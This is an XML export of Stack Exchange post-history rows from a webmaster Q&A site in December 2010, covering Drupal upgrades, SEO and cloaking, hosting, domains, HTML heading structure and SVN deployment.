  <row Id="14490" PostHistoryTypeId="2" PostId="7195" RevisionGUID="1c30ee8d-439f-45aa-9c00-b40714317a57" CreationDate="2010-12-28T02:51:20.407" UserId="241" Text="Wait.&#xD;&#xA;&#xD;&#xA;Drupal 6 will continue to work and be maintained in parallel for at least a year. Unless you've got a pressing need for Drupal 7 features, you're better off taking the slow route and letting the various contrib modules catch up." />
  <row Id="14491" PostHistoryTypeId="2" PostId="7196" RevisionGUID="7c232fec-a55f-472c-9ba2-568c0934fec8" CreationDate="2010-12-28T22:51:27.840" UserDisplayName="brian_d" Text="It depends on how many contributed modules your existing site uses. Drupal 7 which is due out January 5th will have many nice new features which are worth an upgrade.&#xD;&#xA;That being said, if you wait a few months more, security issues will be fixed and tardy [D7CX pledgers][1] could be done their ports.&#xD;&#xA;&#xD;&#xA;The best guage I have found for my own sites is the [upgrade_status][2] module which lets you know which category your contributed modules fall in - *&quot;Available, In development, Not ported yet&quot;*. The last category is the one to be concerned about - if a module is no longer actively maintained, you may need to find an alternative. &#xD;&#xA;&#xD;&#xA;The module also include **Upgrade Assistant** which&#xD;&#xA;&#xD;&#xA;&gt; ...helps you to do the required upgrade steps in the right and expected order, and additionally takes the upgrade path for contributed modules into account. If you consider to upgrade, simply enable Upgrade Assist (and its block) and follow the on-screen instructions to upgrade your Drupal site...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/modules?solrsort=sort_title%20asc&amp;text=d7cx&#xD;&#xA;  [2]: http://drupal.org/project/upgrade_status" />
  <row Id="14492" PostHistoryTypeId="2" PostId="7193" RevisionGUID="6e3419af-adf7-4e30-b7de-c1813683a6af" CreationDate="2010-12-28T01:45:03.080" UserDisplayName="ohho" Text="Drupal 7 is coming. Any tips for upgrading Drupal 6 sites to 7? Thanks!&#xD;&#xA;&#xD;&#xA; " />
  <row Id="14493" PostHistoryTypeId="1" PostId="7193" RevisionGUID="6e3419af-adf7-4e30-b7de-c1813683a6af" CreationDate="2010-12-28T01:45:03.080" UserDisplayName="ohho" Text="Drupal 6 to Drupal 7 upgrade tips?" />
  <row Id="14494" PostHistoryTypeId="3" PostId="7193" RevisionGUID="6e3419af-adf7-4e30-b7de-c1813683a6af" CreationDate="2010-12-28T01:45:03.080" UserDisplayName="ohho" Text="&lt;drupal&gt;" />
  <row Id="14495" PostHistoryTypeId="17" PostId="7193" RevisionGUID="d31fb2b2-b592-4de2-98c9-38c29598ecd1" CreationDate="2010-12-29T21:03:46.150" UserId="-1" Comment="from http://stackoverflow.com/questions/4543138/drupal-6-to-drupal-7-upgrade-tips" Text="" />
  <row Id="14496" PostHistoryTypeId="2" PostId="7197" RevisionGUID="03ab7ba7-97d5-4f6d-bcb6-18e774ff9616" CreationDate="2010-12-30T00:26:24.840" UserId="3779" Text="![alt text][1] &#xD;&#xA;&#xD;&#xA;as you can see in the picture my search engine traffic dropped exactly at christmas and is steady since.&#xD;&#xA;&#xD;&#xA;has anybody experienced something similar or has a possible explanation?&#xD;&#xA;&#xD;&#xA;at first i tought, well... its christmas and its understandable that people devote time to their families and other things than surfing the net, but now everything is over and work week has begun and well... very strange. i have no idea.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/r8Z7V.png" />
  <row Id="14497" PostHistoryTypeId="1" PostId="7197" RevisionGUID="03ab7ba7-97d5-4f6d-bcb6-18e774ff9616" CreationDate="2010-12-30T00:26:24.840" UserId="3779" Text="Google Traffic droppend at christmas and is steady since?" />
  <row Id="14498" PostHistoryTypeId="3" PostId="7197" RevisionGUID="03ab7ba7-97d5-4f6d-bcb6-18e774ff9616" CreationDate="2010-12-30T00:26:24.840" UserId="3779" Text="&lt;google&gt;&lt;search-engines&gt;&lt;traffic&gt;" />
  <row Id="14499" PostHistoryTypeId="2" PostId="7198" RevisionGUID="9564e59e-c171-4e0c-9c93-1a2df5ce3812" CreationDate="2010-12-30T00:42:07.857" UserId="3819" Text="That's not too substantial, fortunately. Many of my websites/niches experience huge growth over the holidays as younger audiences have all day to socialize in my communities without school. Some of my websites have stalled growth and even reduced activity over the break.&#xD;&#xA;&#xD;&#xA;But you'll want to find out if something mechanical changed to cause this rather than the natural fluctuations of visitor activity.&#xD;&#xA;&#xD;&#xA;One of the main reasons for traffic to change on a whim is when your Google position for prominent keywords change. Even moving from page 1 to page 2 for one good keyword can take a toll on your traffic.&#xD;&#xA;&#xD;&#xA;I recommend you start using a search engine position tracker for your keywords. It'll help you realize gains in any SEO-related activities you engage in, and while it won't retroactively show your past rankings, it can help give insight to future traffic.&#xD;&#xA;&#xD;&#xA;Link Assistant's [Rank Tracker][1] is the best premium software for this, but cheaper web-based products with free trials include [SEScout][2] and SEOmoz's [Rank Tracker][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.link-assistant.com/rank-tracker/&#xD;&#xA;  [2]: http://sescout.com/&#xD;&#xA;  [3]: http://www.seomoz.org/rank-tracker" />
  <row Id="14500" PostHistoryTypeId="2" PostId="7199" RevisionGUID="4dbcad82-5baf-4f26-b714-00ad1c6df5a1" CreationDate="2010-12-30T05:04:14.240" UserDisplayName="SomeNick" Text="Nice thread.  I run 123bit.com and 123galactic.com&#xD;&#xA;&#xD;&#xA;I thought leading digits could lead to a bug, but seems not... Lots of sites seem to have leading digits.  &#xD;&#xA;Yes I was reluctant to get them due to leading digits, but its gotten very hard to get cool domains these days.  I also used to think it was wrong due to variables not being able to begin with numbers.  But then I realized that domain names are more akin to filenames than variables." />
  <row Id="14501" PostHistoryTypeId="2" PostId="7200" RevisionGUID="1d2f68a9-fd00-47b2-8175-d83d7d8d2871" CreationDate="2010-12-30T05:35:37.703" UserId="4169" Text="Where can I find affordable web hosting for Codeigniter web application? I need hosting that supports all the PHP extensions that Codeigniter requires? Anyone recommend a dependable company?" />
  <row Id="14502" PostHistoryTypeId="1" PostId="7200" RevisionGUID="1d2f68a9-fd00-47b2-8175-d83d7d8d2871" CreationDate="2010-12-30T05:35:37.703" UserId="4169" Text="CodeIgniter Hosting" />
  <row Id="14503" PostHistoryTypeId="3" PostId="7200" RevisionGUID="1d2f68a9-fd00-47b2-8175-d83d7d8d2871" CreationDate="2010-12-30T05:35:37.703" UserId="4169" Text="&lt;codeigniter&gt;" />
  <row Id="14504" PostHistoryTypeId="2" PostId="7201" RevisionGUID="a7c4f109-e383-4bc3-be47-2f39626da3ec" CreationDate="2010-12-30T06:25:29.973" UserId="4168" Text="Almost any webhosting company is sufficient for hosting codeigniter apps. They support almost all the extensions the ci uses.&#xD;&#xA;&#xD;&#xA;Few&#xD;&#xA;[godaddy][1],&#xD;&#xA;[ipage][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.godaddy.com&#xD;&#xA;  [2]: http://www.ipage.com" />
  <row Id="14505" PostHistoryTypeId="2" PostId="7202" RevisionGUID="1f260125-801f-4acf-ae63-42ea2d0601a2" CreationDate="2010-12-30T09:33:31.007" UserId="3307" Text="Any hosting company that supports PHP can be used to host a CodeIgniter app. If you want someone who specifically hosts CodeIgniter apps, then take a look at [Cloud Igniter][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.getcloudigniter.com/" />
  <row Id="14506" PostHistoryTypeId="2" PostId="7203" RevisionGUID="90b6b220-ecb1-42ea-b007-01c4a2e0f643" CreationDate="2010-12-30T10:15:03.190" UserId="4150" Text="All we know that Google will be looking more at cloaking in the first quarter of 2011. But, **my client's website is serving content to the users based on the IP address.** Now, I would like to know whether IP based content delivery be considered as Cloaking by Google. Or how Google is going to handle this issue??&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Parthipan.P" />
  <row Id="14507" PostHistoryTypeId="1" PostId="7203" RevisionGUID="90b6b220-ecb1-42ea-b007-01c4a2e0f643" CreationDate="2010-12-30T10:15:03.190" UserId="4150" Text="Would the IP-based content delivery be considered as cloaking?" />
  <row Id="14508" PostHistoryTypeId="3" PostId="7203" RevisionGUID="90b6b220-ecb1-42ea-b007-01c4a2e0f643" CreationDate="2010-12-30T10:15:03.190" UserId="4150" Text="&lt;google&gt;" />
  <row Id="14509" PostHistoryTypeId="2" PostId="7204" RevisionGUID="fa92ed1c-8df2-4294-b016-03f4b33c4e6e" CreationDate="2010-12-30T10:18:45.323" UserId="172" Text="A friend of mine bought a domain name on 101domains, and now wants to have his website hosted on my servers. I would like to have full control of the DNS records, and thus would like to change the NS records to point to my DNS server.&#xD;&#xA;&#xD;&#xA;I can't find how to do that on their control panel. I can access the listing of DNS records for the domain, but cannot change it. Thus, I would like to transfer it to another registrar, that I know allows to do all these changes.&#xD;&#xA;&#xD;&#xA;How can I do that ?" />
  <row Id="14510" PostHistoryTypeId="1" PostId="7204" RevisionGUID="fa92ed1c-8df2-4294-b016-03f4b33c4e6e" CreationDate="2010-12-30T10:18:45.323" UserId="172" Text="How to transfer a domain from 101domain to another registrar ?" />
  <row Id="14511" PostHistoryTypeId="3" PostId="7204" RevisionGUID="fa92ed1c-8df2-4294-b016-03f4b33c4e6e" CreationDate="2010-12-30T10:18:45.323" UserId="172" Text="&lt;domains&gt;&lt;dns&gt;&lt;transfer&gt;" />
  <row Id="14512" PostHistoryTypeId="2" PostId="7205" RevisionGUID="f557b54f-0516-42b1-abdb-67475f155c0d" CreationDate="2010-12-30T10:37:11.523" UserId="1540" Text="Most web hosting companies' PHP installs will support CodeIgniter. Personally, I really like [1and1][1] hosting. It is very affordable, and, IMHO, way better than goDaddy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://1and1.com" />
  <row Id="14514" PostHistoryTypeId="2" PostId="7207" RevisionGUID="1617c833-4e82-45a7-be7b-462de793b5e4" CreationDate="2010-12-30T12:01:43.533" UserDisplayName="villu" Text="I'm h1 for main title guy. And main title is decorated site name, or as you call it, logo. Here's the point -- in header of website, logo is not actually a logo, it's illustrated site's header. Designers just like to design it as logo.&#xD;&#xA;&#xD;&#xA;What's wrong with LOGO -&gt; H1?&#xD;&#xA;&#xD;&#xA;&lt;div&gt;Google&lt;/div&gt;&#xD;&#xA;&lt;h1&gt;About Us&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;Now, as h1 is the most important section as it tells visitor what's it all about, the visitor cannot understand the page, because h1 is too specific. About who?&#xD;&#xA;&#xD;&#xA;&lt;h1&gt;Google&lt;/h1&gt;&#xD;&#xA;&lt;h2&gt;About Us&lt;/h2&gt;&#xD;&#xA;&#xD;&#xA;This page is about Google. Here's the section about us. See -- there's no question? All is clear.&#xD;&#xA;&#xD;&#xA;Second point.&#xD;&#xA;&#xD;&#xA;Page structure. If you put site main heading into div or p, there's nothing to associate it with. &#xD;&#xA;&#xD;&#xA;&lt;p&gt;Google&lt;/p&gt;&#xD;&#xA;&lt;h1&gt;About us&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;How can i associate About Us with Google if h1 comes after? Because all that comes AFTER H1 is associated with it, not what becomes before.&#xD;&#xA;&#xD;&#xA;&lt;h1&gt;Google&lt;/h1&gt;&#xD;&#xA;&lt;h2&gt;About Us&lt;/h2&gt;&#xD;&#xA;&#xD;&#xA;About us belongs to Google. No questions.&#xD;&#xA;&#xD;&#xA;Third point.&#xD;&#xA;&#xD;&#xA;HTML is language to DESCRIBE information. Therefore you don't display information, you describe it. And each page is independent. Therefore you describe one page because there are no associations between pages. Just links that link individual pages. &#xD;&#xA;&#xD;&#xA;&lt;p&gt;Google&lt;/p&gt;&#xD;&#xA;&lt;h1&gt;About us&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;THIS page is About us. Who/what it is? Unclear. It just describes something called &quot;About us&quot;.&#xD;&#xA;&#xD;&#xA;&lt;h1&gt;Google&lt;/h1&gt;&#xD;&#xA;&lt;h2&gt;About Us&lt;/h2&gt;&#xD;&#xA;&#xD;&#xA;This site describes google. And there is a section About us. Us = most probably google, cause the structure describes it that way.&#xD;&#xA;&#xD;&#xA;I hope I made my point :)&#xD;&#xA;&#xD;&#xA;Villu&#xD;&#xA;&#xD;&#xA;PS! You cannot use h2 - h1 - h3 as it is illogical, therefore a big fail. Just because w3c haven't said it is not allowed, makes it valid. It's illogical, think about it." />
  <row Id="14515" PostHistoryTypeId="5" PostId="7207" RevisionGUID="0fa8a418-8202-4604-98a3-2ddffbe65fe5" CreationDate="2010-12-30T12:06:55.043" UserDisplayName="villu" Comment="corrected spelling" Text="I'm h1 for main title guy. And main title is decorated site name, or as you call it, logo. Here's the point -- in header of website, logo is not actually a logo, it's illustrated site's header. Designers just like to design it as logo.&#xD;&#xA;&#xD;&#xA;What's wrong with LOGO -&gt; H1?&#xD;&#xA;&#xD;&#xA;&lt;div&gt;Google&lt;/div&gt;&#xD;&#xA;&lt;h1&gt;About Us&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;Now, as h1 is the most important section as it tells visitor what's it all about, the visitor cannot understand the page, because h1 is too specific. About who?&#xD;&#xA;&#xD;&#xA;&lt;h1&gt;Google&lt;/h1&gt;&#xD;&#xA;&lt;h2&gt;About Us&lt;/h2&gt;&#xD;&#xA;&#xD;&#xA;This page is about Google. Here's the section about us. See -- there's no question? All is clear.&#xD;&#xA;&#xD;&#xA;Second point.&#xD;&#xA;&#xD;&#xA;Page structure. If you put site main heading into div or p, there's nothing to associate it with. &#xD;&#xA;&#xD;&#xA;&lt;p&gt;Google&lt;/p&gt;&#xD;&#xA;&lt;h1&gt;About us&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;How can i associate About Us with Google if h1 comes after? Because all that comes AFTER H1 is associated with it, not what becomes before.&#xD;&#xA;&#xD;&#xA;&lt;h1&gt;Google&lt;/h1&gt;&#xD;&#xA;&lt;h2&gt;About Us&lt;/h2&gt;&#xD;&#xA;&#xD;&#xA;About us belongs to Google. No questions.&#xD;&#xA;&#xD;&#xA;Third point.&#xD;&#xA;&#xD;&#xA;HTML is language to DESCRIBE information. Therefore you don't display information, you describe it. And each page is independent. Therefore you describe one page because there are no associations between pages. Just links that link individual pages. &#xD;&#xA;&#xD;&#xA;&lt;p&gt;Google&lt;/p&gt;&#xD;&#xA;&lt;h1&gt;About us&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;THIS page is About us. Who/what it is? Unclear. It just describes something called &quot;About us&quot;.&#xD;&#xA;&#xD;&#xA;&lt;h1&gt;Google&lt;/h1&gt;&#xD;&#xA;&lt;h2&gt;About Us&lt;/h2&gt;&#xD;&#xA;&#xD;&#xA;This site describes google. And there is a section About us. Us = most probably google, cause the structure describes it that way.&#xD;&#xA;&#xD;&#xA;I hope I made my point :)&#xD;&#xA;&#xD;&#xA;Villu&#xD;&#xA;&#xD;&#xA;PS! You cannot use h2 - h1 - h3 as it is illogical, therefore a big fail. Just because w3c haven't said it is not allowed, doesn't make it valid. It's illogical, think about it." />
  <row Id="14516" PostHistoryTypeId="2" PostId="7208" RevisionGUID="bce5a664-1c2d-4ca9-abdb-9d071c26ce23" CreationDate="2010-12-30T13:06:09.017" UserId="711" Text="If you are showing different content to users depending on their location, you need to make sure that you are showing Googlebot the same content as you would other users from the same location. As Googlebot generally crawls from a US-based IP-address, you would need to show it the same content as other US-based users would see. &#xD;&#xA;&#xD;&#xA;From Google's point of view, showing users different content depending on their location is generally fine. Showing Googlebot one thing and showing *all* users something else would be different, considered cloaking and in violation of Google's [webmaster guidelines](http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35769). " />
  <row Id="14517" PostHistoryTypeId="2" PostId="7209" RevisionGUID="14a689ed-d182-43a6-ae63-4f048afec4da" CreationDate="2010-12-30T16:25:42.293" UserId="63" Text="So there is the new [domain extension .co][1] which was released recently. &#xD;&#xA;&#xD;&#xA;What do you think of using this domain for a website? Is the upside of getting a decent name outweighed by the negatives? I think the similarity to .com and .co.uk alongside the lack of public awareness of the extension would lead to a lot of people going to the .com/.co.uk domains of the same name. &#xD;&#xA;&#xD;&#xA;What are you views on it? &#xD;&#xA;&#xD;&#xA;  [1]: http://www.wired.com/epicenter/2010/05/dotco/&#xD;&#xA;" />
  <row Id="14518" PostHistoryTypeId="1" PostId="7209" RevisionGUID="14a689ed-d182-43a6-ae63-4f048afec4da" CreationDate="2010-12-30T16:25:42.293" UserId="63" Text=".CO Domains. Worthwhile?" />
  <row Id="14519" PostHistoryTypeId="3" PostId="7209" RevisionGUID="14a689ed-d182-43a6-ae63-4f048afec4da" CreationDate="2010-12-30T16:25:42.293" UserId="63" Text="&lt;domain-names&gt;" />
  <row Id="14520" PostHistoryTypeId="2" PostId="7210" RevisionGUID="74d0d900-77b3-4971-ab6c-11906b5a9096" CreationDate="2010-12-30T16:30:45.993" UserId="4180" Text="Should i add rel nofollow to the links from my site menu ? (to the links like: home, about us, contact etc... that doesn't have no connection with the site niche)&#xD;&#xA;&#xD;&#xA;Does this helps? What other options i have?" />
  <row Id="14521" PostHistoryTypeId="1" PostId="7210" RevisionGUID="74d0d900-77b3-4971-ab6c-11906b5a9096" CreationDate="2010-12-30T16:30:45.993" UserId="4180" Text="Should i add rel nofollow to menu links?" />
  <row Id="14522" PostHistoryTypeId="3" PostId="7210" RevisionGUID="74d0d900-77b3-4971-ab6c-11906b5a9096" CreationDate="2010-12-30T16:30:45.993" UserId="4180" Text="&lt;seo&gt;&lt;nofollow&gt;" />
  <row Id="14523" PostHistoryTypeId="2" PostId="7211" RevisionGUID="6aaad9b2-a43d-4b1d-a20a-07de70146073" CreationDate="2010-12-30T16:38:00.967" UserId="3307" Text="Outside of what you mentioned regarding the getting the decent name, I don't think any domain name tld outweighs any other. Aside from .com that is.&#xD;&#xA;&#xD;&#xA;My personal opinion." />
  <row Id="14524" PostHistoryTypeId="2" PostId="7212" RevisionGUID="171d3704-e86e-4243-9e9c-f37f985e2af3" CreationDate="2010-12-30T16:46:15.597" UserId="1253" Text="**NO!!** Doing this is SEO suicide. Menu links are great way to channel PageRank to your important pages. Using nofollow would essentially keeping PR from those pages and, even worse, throwing away PR as PR is still &quot;sent&quot; to those links. It's just not used when calculating those page's PR. Don't use nofollow on any internal links unless you don't want search engines finding the pages they are linking to." />
  <row Id="14525" PostHistoryTypeId="2" PostId="7213" RevisionGUID="078e3e89-60f2-4526-84fe-fb770e82a803" CreationDate="2010-12-30T16:58:48.213" UserId="4182" Text="Majestic SEO is a great paid resource.  To determine everything for free (If you are simply looking at linking sites and anchor text) Use, opensiteexplorer.org from SEOmoz. (Also a great site to learn about SEO and link building).  This tool will show you a lot of valuable information that you you may find helpful.  Also, you can use, [yahoo site explorer][1].  They show more of the links than opensite most of the time. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://siteexplorer.search.yahoo.com/" />
  <row Id="14526" PostHistoryTypeId="5" PostId="7212" RevisionGUID="337afd3d-563e-4928-845e-4835312426b7" CreationDate="2010-12-30T17:11:30.500" UserId="1253" Comment="added 685 characters in body" Text="**NO!!** Doing this is SEO suicide. Menu links are great way to channel PageRank to your important pages. Using nofollow would essentially keeping PR from those pages and, even worse, throwing away PR as PR is still &quot;sent&quot; to those links. It's just not used when calculating those page's PR. Don't use nofollow on any internal links unless you don't want search engines finding the pages they are linking to.&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;If you really want to deemphasize those pages then remove them from your main menu. The biggest issue you will have with that, though, is that they are important pages to users so they need to be easily found. That means you probably want to place them in the footer of your website. That basically is the same as putting them in your main menu. &#xD;&#xA;&#xD;&#xA;I wouldn't worry about PR and interlinking to those pages. They may not seem like important pages to you but they are to your users. If you interlink your pages properly then your &quot;really&quot; important pages will stand out from the rest anyway. My advice is to leave those links in your main menu and not worry about it." />
  <row Id="14527" PostHistoryTypeId="2" PostId="7214" RevisionGUID="95aec3e0-c530-4b29-974f-21537faa7da1" CreationDate="2010-12-30T17:27:18.087" UserId="4064" Text="@m3tsys:&#xD;&#xA;+1 on John Conde's answer.&#xD;&#xA;&#xD;&#xA;I guess you are using tools like Google Webmaster to find out which keywords are relevant to your website. You should focus on your website main topic and optimize your content for your main keywords, Google will identify your real relevant keywords once you start publishing content. If after a while you see &quot;about&quot; is still a relevant keyword to your site maybe you should not include About link on the static page or when creating the page on server side, insert it using javascript." />
  <row Id="14528" PostHistoryTypeId="2" PostId="7215" RevisionGUID="d154a8dc-c489-4602-884c-e704ca0b340f" CreationDate="2010-12-30T19:07:22.510" UserId="2221" Text="GoDaddy and the Dot Co company are [planning a **SuperBowl ad**][1]. This gives the .CO extension a better chance to get awareness beyond the domainers' community (those who invest in domain names, but don't actually develop most of the domains into real sites).&#xD;&#xA;&#xD;&#xA;On the other hand I think there is a &quot;pavlovian&quot; reflex (no disrespect intended) for the very large majority of Internet users to go to the .COM by default. And that might be very hard to change. It comes from 10/15 years of Internet marketing history.&#xD;&#xA;&#xD;&#xA;I think it all boils down to two points (apart from the price of the domains obviously):&#xD;&#xA;&#xD;&#xA;1.  will people remember your domain name?&#xD;&#xA;2.  will they confuse it to the .COM?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mashable.com/2010/12/14/godaddy-super-bowl-ad-domains/" />
  <row Id="14529" PostHistoryTypeId="2" PostId="7216" RevisionGUID="11e8e8b8-0606-4587-b378-cdd5d81ab552" CreationDate="2010-12-30T19:16:30.677" UserId="2221" Text="Have you considered StackExchange clones?&#xD;&#xA;&#xD;&#xA;I can only speak as a user, but I definitely favor Stackoverflow/StackExchange types of forums, as opposed to phpBB. I basically never participate in a phpBB: the format just turns me off.&#xD;&#xA;&#xD;&#xA;Some Stackexchange clones:&#xD;&#xA;&#xD;&#xA;[osqa.net][1]&#xD;&#xA;&#xD;&#xA;[coordino.com][2] (which I saw for sale - the whole website - on flippa)&#xD;&#xA;&#xD;&#xA;there are others.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.osqa.net&#xD;&#xA;  [2]: http://www.coordino.com" />
  <row Id="14530" PostHistoryTypeId="2" PostId="7217" RevisionGUID="742a4a2b-99aa-4f36-a4e9-20db003b6df5" CreationDate="2010-12-30T19:30:07.657" UserId="4184" Text="I recently upgraded my hosting account to Deluxe where I can host multiple websites. I added a domain name and created a folder in the root directory giving it the same name as my domain name and uploaded my files. Now when I navigate the site the address bar shows:&#xD;&#xA;&#xD;&#xA;'http://mywebsite/mywebsite/default.aspx'&#xD;&#xA;&#xD;&#xA;I want it to display:&#xD;&#xA;&#xD;&#xA;'http://mywebsite/default.aspx'&#xD;&#xA;&#xD;&#xA;My thinking in creating folders that match the domain names is to keep them somewhat organized; never intended to have my domain names listed twice in the address bar." />
  <row Id="14531" PostHistoryTypeId="1" PostId="7217" RevisionGUID="742a4a2b-99aa-4f36-a4e9-20db003b6df5" CreationDate="2010-12-30T19:30:07.657" UserId="4184" Text="Address bar showing long URL" />
  <row Id="14532" PostHistoryTypeId="3" PostId="7217" RevisionGUID="742a4a2b-99aa-4f36-a4e9-20db003b6df5" CreationDate="2010-12-30T19:30:07.657" UserId="4184" Text="&lt;url&gt;&lt;web-hosting&gt;&lt;godaddy&gt;" />
  <row Id="14533" PostHistoryTypeId="2" PostId="7218" RevisionGUID="97fb6180-e55a-4708-a309-0153a8cc6ada" CreationDate="2010-12-30T20:09:52.147" UserId="4185" Text="I am creating a forum for non-technical people, and I can't figure out if BBCode or a WYSIWYG editor is easier for them to use. &#xD;&#xA;&#xD;&#xA;The forum is for craftsmen, and I am therefor in doubt if a BBCode editor would be too difficult to figure out.&#xD;&#xA;&#xD;&#xA;Does any of you have any good suggestions on what to use?" />
  <row Id="14534" PostHistoryTypeId="1" PostId="7218" RevisionGUID="97fb6180-e55a-4708-a309-0153a8cc6ada" CreationDate="2010-12-30T20:09:52.147" UserId="4185" Text="BBCode or WYSIWYG editor for non-technical people" />
  <row Id="14535" PostHistoryTypeId="3" PostId="7218" RevisionGUID="97fb6180-e55a-4708-a309-0153a8cc6ada" CreationDate="2010-12-30T20:09:52.147" UserId="4185" Text="&lt;wysiwyg&gt;" />
  <row Id="14536" PostHistoryTypeId="5" PostId="7217" RevisionGUID="a11e5a6b-358a-405d-acf0-450cbcb6913b" CreationDate="2010-12-30T20:29:37.993" UserId="4184" Comment="added 8 characters in body" Text="I recently upgraded my hosting account to Deluxe where I can host multiple websites. I added a domain name and created a folder in the root directory giving it the same name as my domain name and uploaded my files. Now when I navigate the site the address bar shows:&#xD;&#xA;&#xD;&#xA;'http://mywebsite.com/mywebsite/default.aspx'&#xD;&#xA;&#xD;&#xA;I want it to display:&#xD;&#xA;&#xD;&#xA;'http://mywebsite.com/default.aspx'&#xD;&#xA;&#xD;&#xA;My thinking in creating folders that match the domain names is to keep them somewhat organized; never intended to have my domain names listed twice in the address bar." />
  <row Id="14537" PostHistoryTypeId="2" PostId="7219" RevisionGUID="250e80bd-3d3a-4ecd-a2c6-a1fb3df38657" CreationDate="2010-12-30T21:26:48.160" UserId="971" Text="I have a hosted SVN repository with [assembla][1]. &#xD;&#xA;&#xD;&#xA;it has an address like:&#xD;&#xA;&#xD;&#xA;&gt; https://subversion.assembla.com/svn/my-repository-name/&#xD;&#xA;&#xD;&#xA;Using TortoiseSVN I can checkout from this repository and commit to it.&#xD;&#xA;&#xD;&#xA;But **how would I deploy to a production server?**&#xD;&#xA;&#xD;&#xA;(I have not created a production server yet, I want to understand how this is going to work first).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.assembla.com/" />
  <row Id="14538" PostHistoryTypeId="1" PostId="7219" RevisionGUID="250e80bd-3d3a-4ecd-a2c6-a1fb3df38657" CreationDate="2010-12-30T21:26:48.160" UserId="971" Text="Deploy repository to production server?" />
  <row Id="14539" PostHistoryTypeId="3" PostId="7219" RevisionGUID="250e80bd-3d3a-4ecd-a2c6-a1fb3df38657" CreationDate="2010-12-30T21:26:48.160" UserId="971" Text="&lt;subversion&gt;&lt;hosted-svn&gt;" />
  <row Id="14540" PostHistoryTypeId="2" PostId="7220" RevisionGUID="2487c1c9-f48a-4272-a429-8d9cc863a8f1" CreationDate="2010-12-30T21:34:51.830" UserDisplayName="NaV" Text="You may want to check this out:&#xD;&#xA;http://stackoverflow.com/questions/15203/best-way-to-deploy-subversion-svn-in-a-multisite-windows-environment" />
  <row Id="14541" PostHistoryTypeId="2" PostId="7221" RevisionGUID="94b648a9-2b81-4ea8-bbd4-2e3982ea1f2d" CreationDate="2010-12-30T23:13:08.587" UserDisplayName="Alex H." Text="I am trying to get a rough idea on the critical mass of users necessary to make a digg clone work.  To do that I need an estimate on what percentage of users submit links, post comments and vote.&#xD;&#xA;&#xD;&#xA;THANKS!" />
  <row Id="14542" PostHistoryTypeId="1" PostId="7221" RevisionGUID="94b648a9-2b81-4ea8-bbd4-2e3982ea1f2d" CreationDate="2010-12-30T23:13:08.587" UserDisplayName="Alex H." Text="What percentage of digg / reddit / hacker news users contribute to the site?" />
  <row Id="14543" PostHistoryTypeId="3" PostId="7221" RevisionGUID="94b648a9-2b81-4ea8-bbd4-2e3982ea1f2d" CreationDate="2010-12-30T23:13:08.587" UserDisplayName="Alex H." Text="&lt;social-media&gt;" />
  <row Id="14544" PostHistoryTypeId="2" PostId="7222" RevisionGUID="bf59864d-2e88-4cf3-babd-ce4b560aa2ac" CreationDate="2010-12-30T23:59:14.140" UserId="132" Text="One option is to have a local checkout, export it to another location, and upload the exported version (no .svn folders)&#xD;&#xA;&#xD;&#xA;An alternative, if you have SSH access to the deployment server, and SVN is installed there, is to do a checkout on the server, using the branch/tag of your choice. When there is an updated version of the repo to make live, just log in on the server and run `svn up`. Pretty simple.&#xD;&#xA;&#xD;&#xA;This technique does include the .svn folders. I'm not certain what a surfer could do with those, but it would be a good idea to use htaccess or similar to prevent web access to those folders." />
  <row Id="14545" PostHistoryTypeId="2" PostId="7223" RevisionGUID="4377ce2e-2da0-4557-8d73-ae766efada0d" CreationDate="2010-12-31T01:10:36.050" UserId="1757" Text="Seems pretty obvious that, for the average person, a WYSIWYG editor is easier to use. If it was easier to write markup by hand, then there'd be no market for WYSIWYG editors at all.&#xD;&#xA;&#xD;&#xA;Popular open source options are [CKEditor][1] and [TinyMCE][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ckeditor.com/&#xD;&#xA;  [2]: http://tinymce.moxiecode.com/" />
  <row Id="14546" PostHistoryTypeId="2" PostId="7224" RevisionGUID="f5176555-0d18-493c-bb09-ae78d9f8665e" CreationDate="2010-12-31T03:02:47.510" UserId="2070" Text="Showing different content based on IP can be considered cloaking. Redirecting user to different landing page is not.&#xD;&#xA;&#xD;&#xA;To play safe I would recommend you to develop cookie based redirect, if no cookie set send user to his native language content other wise to his last language of choice." />
  <row Id="14550" PostHistoryTypeId="2" PostId="7226" RevisionGUID="2e7efbf6-ac03-45e5-996d-496a406f5920" CreationDate="2010-12-31T04:11:07.633" UserId="4190" Text="I just registered my domain with namecheap. One of the main purposes of me registering my domain was to use the email forwarding service. Well unfortunately i found out after i registered my domain that Namecheap only has 7 unique forwarding possibilities. That's not nearly enough. Does anyone know of a relatively cheap and reliable email forwarding service i could use with my domain?" />
  <row Id="14551" PostHistoryTypeId="1" PostId="7226" RevisionGUID="2e7efbf6-ac03-45e5-996d-496a406f5920" CreationDate="2010-12-31T04:11:07.633" UserId="4190" Text="Email Forwarding Service to use with my domain?" />
  <row Id="14552" PostHistoryTypeId="3" PostId="7226" RevisionGUID="2e7efbf6-ac03-45e5-996d-496a406f5920" CreationDate="2010-12-31T04:11:07.633" UserId="4190" Text="&lt;email&gt;" />
